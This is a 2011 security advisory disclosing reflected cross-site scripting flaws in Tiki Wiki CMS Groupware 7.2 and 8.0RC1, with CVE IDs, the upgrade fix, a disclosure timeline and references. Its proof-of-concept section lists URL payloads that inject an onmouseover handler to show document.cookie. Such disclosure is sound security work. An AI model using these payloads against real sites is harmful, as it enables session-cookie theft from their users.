INFOSERVE-ADV2011-01 - Tiki Wiki CMS Groupware Multiple XSS vulnerabilities

Posted by Stefan Schurtz on Thursday, November 17. 2011

Advisory:	Tiki Wiki CMS Groupware Multiple XSS vulnerabilities
Advisory ID:	INFOSERVE-ADV2011-01
Author:	Stefan Schurtz
Contact:	security@infoserve.de
Affected Software:	Successfully tested on Tiki 7.2 & 8.0 RC1
Vendor URL:	http://info.tiki.org/
Vendor Status:	fixed for Tiki 7 (New Tiki 6 LTS release in progress)
CVE-ID:	CVE-2011-4454, CVE-2011-4455

======================
Vulnerability Description
======================

All versions of Tiki 6 and Tiki 7 and version Tiki 8.0RC1 are prone to multiple XSS vulnerabilities

==============

PoC-Exploit

==============

8.0RC1

http://<target>/tiki-8.0.RC1/tiki-remind_password.php/" onmouseover="alert(document.cookie)"

http://<target>/tiki-8.0.RC1/tiki-index.php/" onmouseover="alert(document.cookie)"

http://<target>/tiki-8.0.RC1/tiki-login_scr.php/" onmouseover="alert(document.cookie)"

http://<target>/tiki-8.0.RC1/tiki-index/" onmouseover="alert(document.cookie)"

7.2

http://<target>/tiki-7.2/tiki-admin_system.php/" onmouseover="alert(document.cookie)"
http://<target>/tiki-7.2/tiki-pagehistory.php/" onmouseover="alert(document.cookie)"
http://<target>/tiki-7.2/tiki-removepage.php/" onmouseover="alert(document.cookie)"
http://<target>/tiki-7.2/tiki-rename_page.php/" onmouseover="alert(document.cookie)"

=====
Solution
=====

Upgrade to Tiki 8.1 (End-of-Life for Tiki 7.x)

================
Disclosure Timeline
================

02-Nov-2011 – informed Security Team (security@tikiwiki.org)
03-Nov-2011 – feedback from vendor
11-Nov-2011 – release of version 8.1 (End-of-Life for Tiki 7.x)

====
Credits
====

Vulnerabilities found and advisory written by the INFOSERVE Security Team

=======
References
=======

http://info.tiki.org/
http://dev.tiki.org/tiki-view_tracker_item.php?itemId=4027#content1
http://info.tiki.org/article182-Tiki-8-1-Now-Available-End-of-Life-for-Tiki-7-x
http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-01.txt
http://secunia.com/advisories/46740

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